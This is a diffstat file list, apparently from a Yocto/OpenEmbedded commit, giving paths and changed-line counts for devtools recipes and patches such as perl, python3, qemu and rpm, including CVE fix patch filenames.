-rw-r--r--meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch26
-rw-r--r--meta/recipes-devtools/perl/files/0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch36
-rw-r--r--meta/recipes-devtools/perl/files/0001-enc2xs-Add-environment-variable-to-suppress-comments.patch30
-rw-r--r--meta/recipes-devtools/perl/files/5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch31
-rw-r--r--meta/recipes-devtools/perl/files/CVE-2021-36770.patch40
-rw-r--r--meta/recipes-devtools/perl/files/aacd2398e766500cb5d83c4d76b642fcf31d997a.patch40
-rw-r--r--meta/recipes-devtools/perl/files/determinism.patch45
-rw-r--r--meta/recipes-devtools/perl/files/ea57297a58b8f10ab885c19eec48ea076116cc1f.patch25
-rw-r--r--meta/recipes-devtools/perl/files/encodefix.patch20
-rw-r--r--meta/recipes-devtools/perl/files/fix-setgroup.patch49
-rw-r--r--meta/recipes-devtools/perl/files/native-perlinc.patch2
-rw-r--r--meta/recipes-devtools/perl/files/perl-configpm-switch.patch4
-rw-r--r--meta/recipes-devtools/perl/files/perl-dynloader.patch2
-rw-r--r--meta/recipes-devtools/perl/files/perl-rdepends.txt6788
-rw-r--r--meta/recipes-devtools/perl/liberror-perl_0.17027.bb47
-rw-r--r--meta/recipes-devtools/perl/liberror-perl_0.17029.bb47
-rw-r--r--meta/recipes-devtools/perl/libmodule-build-perl/run-ptest2
-rw-r--r--meta/recipes-devtools/perl/libmodule-build-perl_0.4229.bb103
-rw-r--r--meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb123
-rw-r--r--meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb29
-rw-r--r--meta/recipes-devtools/perl/libtest-needs-perl_0.002009.bb29
-rw-r--r--meta/recipes-devtools/perl/liburi-perl_1.74.bb50
-rw-r--r--meta/recipes-devtools/perl/liburi-perl_5.08.bb50
-rw-r--r--meta/recipes-devtools/perl/libxml-parser-perl_2.44.bb55
-rw-r--r--meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb59
-rw-r--r--meta/recipes-devtools/perl/libxml-perl_0.08.bb6
-rw-r--r--meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb6
-rw-r--r--meta/recipes-devtools/perl/perl-ptest.inc9
-rw-r--r--meta/recipes-devtools/perl/perl_5.30.0.bb337
-rw-r--r--meta/recipes-devtools/perl/perl_5.34.0.bb411
-rw-r--r--meta/recipes-devtools/pkgconf/pkgconf_1.6.3.bb69
-rw-r--r--meta/recipes-devtools/pkgconf/pkgconf_1.8.0.bb67
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-remove-support-for-the-__int64-type.-See-1.patch144
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-use-C99-printf-format-specifiers-on-Window.patch68
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch45
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig_git.bb25
-rw-r--r--meta/recipes-devtools/prelink/prelink/0001-src-arch-mips.c-check-info-resolvetls-before-use-its.patch51
-rw-r--r--meta/recipes-devtools/prelink/prelink/macros.prelink5
-rw-r--r--meta/recipes-devtools/prelink/prelink/prelink.conf18
-rw-r--r--meta/recipes-devtools/prelink/prelink/prelink.cron.daily40
-rw-r--r--meta/recipes-devtools/prelink/prelink/prelink.default22
-rw-r--r--meta/recipes-devtools/prelink/prelink_git.bb183
-rw-r--r--meta/recipes-devtools/pseudo/files/0001-maketables-wrappers-use-Python-3.patch34
-rwxr-xr-xmeta/recipes-devtools/pseudo/files/build-oldlibc20
-rw-r--r--meta/recipes-devtools/pseudo/files/moreretries.patch19
-rw-r--r--meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch57
-rw-r--r--meta/recipes-devtools/pseudo/files/toomanyfiles.patch71
-rw-r--r--meta/recipes-devtools/pseudo/pseudo.inc51
-rw-r--r--meta/recipes-devtools/pseudo/pseudo_git.bb16
-rw-r--r--meta/recipes-devtools/python-numpy/files/0001-npy_cpu-Add-riscv-support.patch24
-rw-r--r--meta/recipes-devtools/python-numpy/files/0001-numpy-random-setup.py-remove-the-detection-of-x86-ta.patch32
-rw-r--r--meta/recipes-devtools/python-numpy/python-numpy.inc53
-rw-r--r--meta/recipes-devtools/python-numpy/python3-numpy_1.17.0.bb3
-rw-r--r--meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch14
-rw-r--r--meta/recipes-devtools/python/python-async.inc2
-rw-r--r--meta/recipes-devtools/python/python-cython.inc42
-rw-r--r--meta/recipes-devtools/python/python-extras.inc2
-rw-r--r--meta/recipes-devtools/python/python-gitdb.inc7
-rw-r--r--meta/recipes-devtools/python/python-native/0001-python-native-fix-one-do_populate_sysroot-warning.patch39
-rw-r--r--meta/recipes-devtools/python/python-native/10-distutils-fix-swig-parameter.patch18
-rw-r--r--meta/recipes-devtools/python/python-native/11-distutils-never-modify-shebang-line.patch20
-rw-r--r--meta/recipes-devtools/python/python-native/multilib.patch235
-rw-r--r--meta/recipes-devtools/python/python-native/nohostlibs.patch54
-rw-r--r--meta/recipes-devtools/python/python-native/revert_use_of_sysconfigdata.patch86
-rw-r--r--meta/recipes-devtools/python/python-native/unixccompiler.patch20
-rw-r--r--meta/recipes-devtools/python/python-native_2.7.16.bb88
-rw-r--r--meta/recipes-devtools/python/python-nose.inc18
-rw-r--r--meta/recipes-devtools/python/python-pbr.inc6
-rw-r--r--meta/recipes-devtools/python/python-pycryptodome.inc28
-rw-r--r--meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch32
-rw-r--r--meta/recipes-devtools/python/python-setuptools.inc50
-rw-r--r--meta/recipes-devtools/python/python-setuptools_41.4.0.bb9
-rw-r--r--meta/recipes-devtools/python/python-six.inc9
-rw-r--r--meta/recipes-devtools/python/python-smmap.inc20
-rw-r--r--meta/recipes-devtools/python/python-subunit.inc14
-rw-r--r--meta/recipes-devtools/python/python-testtools.inc7
-rw-r--r--meta/recipes-devtools/python/python.inc52
-rw-r--r--meta/recipes-devtools/python/python/0001-2.7-bpo-34155-Dont-parse-domains-containing-GH-13079.patch90
-rw-r--r--meta/recipes-devtools/python/python/0001-2.7-bpo-38243-Escape-the-server-title-of-DocXMLRPCSe.patch101
-rw-r--r--meta/recipes-devtools/python/python/0001-distutils-set-the-prefix-to-be-inside-staging-direct.patch51
-rw-r--r--meta/recipes-devtools/python/python/0001-python2-use-cc_basename-to-replace-CC-for-checking-c.patch114
-rw-r--r--meta/recipes-devtools/python/python/01-use-proper-tools-for-cross-build.patch100
-rw-r--r--meta/recipes-devtools/python/python/03-fix-tkinter-detection.patch46
-rw-r--r--meta/recipes-devtools/python/python/05-enable-ctypes-cross-build.patch27
-rw-r--r--meta/recipes-devtools/python/python/06-avoid_usr_lib_termcap_path_in_linking.patch35
-rw-r--r--meta/recipes-devtools/python/python/CVE-2018-20852.patch123
-rw-r--r--meta/recipes-devtools/python/python/CVE-2019-9740.patch216
-rw-r--r--meta/recipes-devtools/python/python/add-CROSSPYTHONPATH-for-PYTHON_FOR_BUILD.patch28
-rw-r--r--meta/recipes-devtools/python/python/add-md5module-support.patch18
-rw-r--r--meta/recipes-devtools/python/python/avoid_warning_about_tkinter.patch29
-rw-r--r--meta/recipes-devtools/python/python/avoid_warning_for_sunos_specific_module.patch23
-rw-r--r--meta/recipes-devtools/python/python/bpo-35907-cve-2019-9948-fix.patch55
-rw-r--r--meta/recipes-devtools/python/python/bpo-35907-cve-2019-9948.patch55
-rw-r--r--meta/recipes-devtools/python/python/bpo-36216-cve-2019-9636-fix.patch28
-rw-r--r--meta/recipes-devtools/python/python/bpo-36216-cve-2019-9636.patch111
-rw-r--r--meta/recipes-devtools/python/python/bpo-36742-cve-2019-10160.patch81
-rw-r--r--meta/recipes-devtools/python/python/builddir.patch46
-rw-r--r--meta/recipes-devtools/python/python/cgi_py.patch23
-rw-r--r--meta/recipes-devtools/python/python/check-if-target-is-64b-not-host.patch57
-rw-r--r--meta/recipes-devtools/python/python/create_manifest2.py298
-rw-r--r--meta/recipes-devtools/python/python/fix_for_using_different_libdir.patch77
-rw-r--r--meta/recipes-devtools/python/python/float-endian.patch216
-rw-r--r--meta/recipes-devtools/python/python/get_module_deps2.py112
-rw-r--r--meta/recipes-devtools/python/python/host_include_contamination.patch28
-rw-r--r--meta/recipes-devtools/python/python/multilib.patch298
-rw-r--r--meta/recipes-devtools/python/python/parallel-makeinst-create-bindir.patch19
-rw-r--r--meta/recipes-devtools/python/python/pass-missing-libraries-to-Extension-for-mul.patch82
-rw-r--r--meta/recipes-devtools/python/python/python-2.7.3-remove-bsdb-rpath.patch28
-rw-r--r--meta/recipes-devtools/python/python/python2-manifest.json1138
-rw-r--r--meta/recipes-devtools/python/python/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python/search_db_h_in_inc_dirs_and_avoid_warning.patch35
-rw-r--r--meta/recipes-devtools/python/python/setup_py_skip_cross_import_check.patch27
-rw-r--r--meta/recipes-devtools/python/python/setuptweaks.patch57
-rw-r--r--meta/recipes-devtools/python/python/sitecustomize.py37
-rw-r--r--meta/recipes-devtools/python/python/support_SOURCE_DATE_EPOCH_in_py_compile_2.7.patch34
-rw-r--r--meta/recipes-devtools/python/python/use_sysroot_ncurses_instead_of_host.patch21
-rw-r--r--meta/recipes-devtools/python/python3-asn1crypto_1.4.0.bb25
-rw-r--r--meta/recipes-devtools/python/python3-atomicwrites/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-atomicwrites_1.4.0.bb25
-rw-r--r--meta/recipes-devtools/python/python3-attrs_21.4.0.bb19
-rw-r--r--meta/recipes-devtools/python/python3-bcrypt/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-bcrypt_3.2.0.bb31
-rw-r--r--meta/recipes-devtools/python/python3-cffi_1.15.0.bb18
-rw-r--r--meta/recipes-devtools/python/python3-cryptography-vectors_36.0.1.bb29
-rw-r--r--meta/recipes-devtools/python/python3-cryptography/0001-Cargo.toml-specify-pem-version.patch31
-rw-r--r--meta/recipes-devtools/python/python3-cryptography/0002-Cargo.toml-edition-2018-2021.patch28
-rwxr-xr-xmeta/recipes-devtools/python/python3-cryptography/check-memfree.py10
-rw-r--r--meta/recipes-devtools/python/python3-cryptography/run-ptest4
-rw-r--r--meta/recipes-devtools/python/python3-cryptography/skip-leaky-test.patch19
-rw-r--r--meta/recipes-devtools/python/python3-cryptography_36.0.1.bb123
-rw-r--r--meta/recipes-devtools/python/python3-cython_0.29.28.bb37
-rw-r--r--meta/recipes-devtools/python/python3-dbus_1.2.12.bb26
-rw-r--r--meta/recipes-devtools/python/python3-dbus_1.2.18.bb25
-rw-r--r--meta/recipes-devtools/python/python3-dbusmock_0.26.1.bb18
-rw-r--r--meta/recipes-devtools/python/python3-docutils_0.15.bb17
-rw-r--r--meta/recipes-devtools/python/python3-docutils_0.18.1.bb11
-rw-r--r--meta/recipes-devtools/python/python3-dtschema_2022.1.bb15
-rw-r--r--meta/recipes-devtools/python/python3-flit-core_3.7.1.bb33
-rw-r--r--meta/recipes-devtools/python/python3-git_3.0.2.bb33
-rw-r--r--meta/recipes-devtools/python/python3-git_3.1.27.bb32
-rw-r--r--meta/recipes-devtools/python/python3-gitdb_2.0.5.bb2
-rw-r--r--meta/recipes-devtools/python/python3-gitdb_4.0.9.bb3
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/run-ptest10
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py135
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/test_rle.py101
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis_6.39.2.bb38
-rw-r--r--meta/recipes-devtools/python/python3-idna_3.3.bb19
-rw-r--r--meta/recipes-devtools/python/python3-importlib-metadata_4.11.3.bb20
-rw-r--r--meta/recipes-devtools/python/python3-iniconfig_1.1.1.bb12
-rw-r--r--meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch552
-rw-r--r--meta/recipes-devtools/python/python3-iniparse_0.4.bb17
-rw-r--r--meta/recipes-devtools/python/python3-iniparse_0.5.bb14
-rw-r--r--meta/recipes-devtools/python/python3-installer/interpreter.patch61
-rw-r--r--meta/recipes-devtools/python/python3-installer_0.5.1.bb22
-rw-r--r--meta/recipes-devtools/python/python3-iso8601_1.0.2.bb15
-rw-r--r--meta/recipes-devtools/python/python3-jinja2/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-jinja2_3.0.3.bb48
-rw-r--r--meta/recipes-devtools/python/python3-jsonpointer/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-jsonpointer_2.2.bb26
-rw-r--r--meta/recipes-devtools/python/python3-jsonschema_4.4.0.bb48
-rw-r--r--meta/recipes-devtools/python/python3-libarchive-c_4.0.bb21
-rw-r--r--meta/recipes-devtools/python/python3-magic_0.4.25.bb22
-rw-r--r--meta/recipes-devtools/python/python3-mako_1.1.0.bb21
-rw-r--r--meta/recipes-devtools/python/python3-mako_1.1.6.bb18
-rw-r--r--meta/recipes-devtools/python/python3-markdown_3.3.6.bb13
-rw-r--r--meta/recipes-devtools/python/python3-markupsafe/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-markupsafe_2.1.0.bb27
-rw-r--r--meta/recipes-devtools/python/python3-more-itertools/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-more-itertools_8.12.0.bb27
-rw-r--r--meta/recipes-devtools/python/python3-nose_1.3.7.bb2
-rw-r--r--meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch (renamed from meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch)24
-rw-r--r--meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch50
-rw-r--r--meta/recipes-devtools/python/python3-numpy/run-ptest5
-rw-r--r--meta/recipes-devtools/python/python3-numpy_1.22.3.bb72
-rw-r--r--meta/recipes-devtools/python/python3-packaging_21.3.bb12
-rw-r--r--meta/recipes-devtools/python/python3-pathlib2_2.3.7.bb12
-rw-r--r--meta/recipes-devtools/python/python3-pbr/0001-change-shebang-to-python3.patch42
-rw-r--r--meta/recipes-devtools/python/python3-pbr_5.4.3.bb5
-rw-r--r--meta/recipes-devtools/python/python3-pbr_5.8.1.bb4
-rw-r--r--meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch115
-rw-r--r--meta/recipes-devtools/python/python3-pip/no_shebang_mangling.patch28
-rw-r--r--meta/recipes-devtools/python/python3-pip/reproducible.patch74
-rw-r--r--meta/recipes-devtools/python/python3-pip_19.3.1.bb31
-rw-r--r--meta/recipes-devtools/python/python3-pip_22.0.3.bb36
-rw-r--r--meta/recipes-devtools/python/python3-pluggy/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-pluggy_1.0.0.bb26
-rw-r--r--meta/recipes-devtools/python/python3-ply_3.11.bb18
-rw-r--r--meta/recipes-devtools/python/python3-poetry-core_1.0.8.bb44
-rw-r--r--meta/recipes-devtools/python/python3-pretend_1.0.9.bb11
-rw-r--r--meta/recipes-devtools/python/python3-psutil/0001-fix-failure-test-cases.patch197
-rw-r--r--meta/recipes-devtools/python/python3-psutil_5.9.0.bb29
-rw-r--r--meta/recipes-devtools/python/python3-py_1.11.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-pycairo_1.18.1.bb27
-rw-r--r--meta/recipes-devtools/python/python3-pycairo_1.21.0.bb26
-rw-r--r--meta/recipes-devtools/python/python3-pycparser_2.21.bb21
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodome_3.14.1.bb5
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodomex_3.14.1.bb9
-rw-r--r--meta/recipes-devtools/python/python3-pyelftools_0.28.bb15
-rw-r--r--meta/recipes-devtools/python/python3-pygments_2.11.2.bb19
-rw-r--r--meta/recipes-devtools/python/python3-pygments_2.4.2.bb20
-rw-r--r--meta/recipes-devtools/python/python3-pygobject_3.34.0.bb33
-rw-r--r--meta/recipes-devtools/python/python3-pygobject_3.42.0.bb34
-rw-r--r--meta/recipes-devtools/python/python3-pyparsing_3.0.7.bb30
-rw-r--r--meta/recipes-devtools/python/python3-pyrsistent_0.18.1.bb14
-rw-r--r--meta/recipes-devtools/python/python3-pytest-subtests_0.6.0.bb20
-rw-r--r--meta/recipes-devtools/python/python3-pytest_7.0.1.bb41
-rw-r--r--meta/recipes-devtools/python/python3-pytz/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-pytz_2021.3.bb35
-rw-r--r--meta/recipes-devtools/python/python3-pyyaml_6.0.bb19
-rw-r--r--meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb21
-rw-r--r--meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb24
-rw-r--r--meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb11
-rw-r--r--meta/recipes-devtools/python/python3-ruamel-yaml_0.17.21.bb24
-rw-r--r--meta/recipes-devtools/python/python3-scons-native_3.1.1.bb8
-rw-r--r--meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch29
-rw-r--r--meta/recipes-devtools/python/python3-scons_3.1.1.bb29
-rw-r--r--meta/recipes-devtools/python/python3-scons_4.3.0.bb36
-rw-r--r--meta/recipes-devtools/python/python3-semantic-version_2.9.0.bb12
-rw-r--r--meta/recipes-devtools/python/python3-setuptools-rust-native_1.1.2.bb26
-rw-r--r--meta/recipes-devtools/python/python3-setuptools-scm_6.4.2.bb26
-rw-r--r--meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch35
-rw-r--r--meta/recipes-devtools/python/python3-setuptools/0001-change-shebang-to-python3.patch25
-rw-r--r--meta/recipes-devtools/python/python3-setuptools_41.4.0.bb6
-rw-r--r--meta/recipes-devtools/python/python3-setuptools_59.5.0.bb57
-rw-r--r--meta/recipes-devtools/python/python3-six_1.12.0.bb2
-rw-r--r--meta/recipes-devtools/python/python3-six_1.16.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-smartypants/0001-Change-hash-bang-to-python3.patch47
-rw-r--r--meta/recipes-devtools/python/python3-smartypants_2.0.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-smmap_2.0.5.bb2
-rw-r--r--meta/recipes-devtools/python/python3-smmap_5.0.0.bb19
-rw-r--r--meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb9
-rw-r--r--meta/recipes-devtools/python/python3-strict-rfc3339/0001-setup.py-use-vendored-_distutils.patch27
-rw-r--r--meta/recipes-devtools/python/python3-strict-rfc3339_0.7.bb11
-rw-r--r--meta/recipes-devtools/python/python3-subunit_1.3.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-subunit_1.4.0.bb15
-rw-r--r--meta/recipes-devtools/python/python3-testtools_2.5.0.bb (renamed from meta/recipes-devtools/python/python3-testtools_2.3.0.bb)0
-rw-r--r--meta/recipes-devtools/python/python3-toml_0.10.2.bb15
-rw-r--r--meta/recipes-devtools/python/python3-tomli_2.0.1.bb13
-rw-r--r--meta/recipes-devtools/python/python3-typing-extensions_3.10.0.0.bb12
-rw-r--r--meta/recipes-devtools/python/python3-typogrify_2.0.7.bb14
-rw-r--r--meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb12
-rw-r--r--meta/recipes-devtools/python/python3-wcwidth/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-wcwidth_0.2.5.bb25
-rw-r--r--meta/recipes-devtools/python/python3-webcolors/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-webcolors_1.11.1.bb28
-rw-r--r--meta/recipes-devtools/python/python3-wheel/0001-Backport-pyproject.toml-from-flit-backend-branch.patch100
-rw-r--r--meta/recipes-devtools/python/python3-wheel_0.37.1.bb17
-rw-r--r--meta/recipes-devtools/python/python3-zipp_3.7.0.bb18
-rw-r--r--meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch14
-rw-r--r--meta/recipes-devtools/python/python3/0001-Do-not-hardcode-lib-as-location-for-site-packages-an.patch196
-rw-r--r--meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch7
-rw-r--r--meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch27
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch47
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-fix-another-place-where-lib-is-hard.patch31
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch32
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch65
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch34
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch7
-rw-r--r--meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch50
-rw-r--r--meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch12
-rw-r--r--meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch31
-rw-r--r--meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch24
-rw-r--r--meta/recipes-devtools/python/python3/0001-main.c-if-OEPYTHON3HOME-is-set-use-instead-of-PYTHON.patch47
-rw-r--r--meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch43
-rw-r--r--meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch28
-rw-r--r--meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch34
-rw-r--r--meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch18
-rw-r--r--meta/recipes-devtools/python/python3/0002-Don-t-do-runtime-test-to-get-float-byte-order.patch199
-rw-r--r--meta/recipes-devtools/python/python3/0003-setup.py-pass-missing-libraries-to-Extension-for-mul.patch80
-rw-r--r--meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch21
-rw-r--r--meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch49
-rw-r--r--meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch32
-rw-r--r--meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch33
-rw-r--r--meta/recipes-devtools/python/python3/cgi_py.patch4
-rw-r--r--meta/recipes-devtools/python/python3/create_manifest3.py47
-rw-r--r--meta/recipes-devtools/python/python3/crosspythonpath.patch15
-rw-r--r--meta/recipes-devtools/python/python3/get_module_deps3.py92
-rw-r--r--meta/recipes-devtools/python/python3/makerace.patch32
-rw-r--r--meta/recipes-devtools/python/python3/python-config.patch31
-rw-r--r--meta/recipes-devtools/python/python3/python3-manifest.json196
-rw-r--r--meta/recipes-devtools/python/python3/reformat_sysconfig.py2
-rw-r--r--meta/recipes-devtools/python/python3/run-ptest2
-rw-r--r--meta/recipes-devtools/python/python3_3.10.2.bb414
-rw-r--r--meta/recipes-devtools/python/python3_3.7.5.bb340
-rw-r--r--meta/recipes-devtools/python/python_2.7.16.bb270
-rw-r--r--meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb4
-rw-r--r--meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb11
-rwxr-xr-xmeta/recipes-devtools/qemu/qemu-helper/qemu-oe-bridge-helper25
-rw-r--r--meta/recipes-devtools/qemu/qemu-native.inc15
-rw-r--r--meta/recipes-devtools/qemu/qemu-native_4.1.0.bb9
-rw-r--r--meta/recipes-devtools/qemu/qemu-native_6.2.0.bb9
-rw-r--r--meta/recipes-devtools/qemu/qemu-system-native_4.1.0.bb24
-rw-r--r--meta/recipes-devtools/qemu/qemu-system-native_6.2.0.bb32
-rw-r--r--meta/recipes-devtools/qemu/qemu-targets.inc2
-rw-r--r--meta/recipes-devtools/qemu/qemu.inc133
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-acpi-tpm-Add-missing-device-identification-objects.patch83
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-ppc-Include-asm-ptrace.h-for-pt_regs-struct-definiti.patch92
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch22
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch31
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch40
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-tests-meson.build-use-relative-path-to-refer-to-file.patch34
-rw-r--r--meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch33
-rw-r--r--meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch26
-rw-r--r--meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch34
-rw-r--r--meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch26
-rw-r--r--meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch64
-rw-r--r--meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch12
-rw-r--r--meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch33
-rw-r--r--meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch137
-rw-r--r--meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch100
-rw-r--r--meta/recipes-devtools/qemu/qemu/0010-fix-libcap-header-issue-on-some-distro.patch86
-rw-r--r--meta/recipes-devtools/qemu/qemu/0011-cpus.c-Add-error-messages-when-qemi_cpu_kick_thread-.patch74
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2019-12068.patch108
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2019-15890.patch48
-rw-r--r--meta/recipes-devtools/qemu/qemu/cross.patch40
-rw-r--r--meta/recipes-devtools/qemu/qemu/determinism.patch22
-rw-r--r--meta/recipes-devtools/qemu/qemu/mmap2.patch39
-rw-r--r--meta/recipes-devtools/qemu/qemu/run-ptest5
-rw-r--r--meta/recipes-devtools/qemu/qemu_4.1.0.bb25
-rw-r--r--meta/recipes-devtools/qemu/qemu_6.2.0.bb25
-rw-r--r--meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb1
-rw-r--r--meta/recipes-devtools/quilt/quilt-native_0.67.bb (renamed from meta/recipes-devtools/quilt/quilt-native_0.66.bb)0
-rw-r--r--meta/recipes-devtools/quilt/quilt.inc40
-rw-r--r--meta/recipes-devtools/quilt/quilt_0.66.bb2
-rw-r--r--meta/recipes-devtools/quilt/quilt_0.67.bb3
-rw-r--r--meta/recipes-devtools/repo/repo/0001-python3-shebang.patch26
-rw-r--r--meta/recipes-devtools/repo/repo_2.22.bb31
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Add-a-color-setting-for-mips64_n32-binaries.patch28
-rw-r--r--meta/recipes-devtools/rpm/files/0001-CVE-2021-3521.patch57
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch28
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch14
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch48
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Rip-out-partial-support-for-unused-MD2-and-RIPEMD160.patch81
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Split-binary-package-building-into-a-separate-functi.patch84
-rw-r--r--meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch28
-rw-r--r--meta/recipes-devtools/rpm/files/0001-docs-do-not-build-manpages-requires-pandoc.patch26
-rw-r--r--meta/recipes-devtools/rpm/files/0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch60
-rw-r--r--meta/recipes-devtools/rpm/files/0001-mono-find-provides-requires-do-not-use-monodis-from-.patch58
-rw-r--r--meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch65
-rw-r--r--meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch71
-rw-r--r--meta/recipes-devtools/rpm/files/0002-CVE-2021-3521.patch64
-rw-r--r--meta/recipes-devtools/rpm/files/0002-Run-binary-package-creation-via-thread-pools.patch127
-rw-r--r--meta/recipes-devtools/rpm/files/0003-CVE-2021-3521.patch329
-rw-r--r--meta/recipes-devtools/rpm/files/0003-rpmstrpool.c-make-operations-over-string-pools-threa.patch207
-rw-r--r--meta/recipes-devtools/rpm/files/0004-build-pack.c-remove-static-local-variables-from-buil.patch336
-rw-r--r--meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch33
-rw-r--r--meta/recipes-devtools/rpm/files/environment.d-rpm.sh1
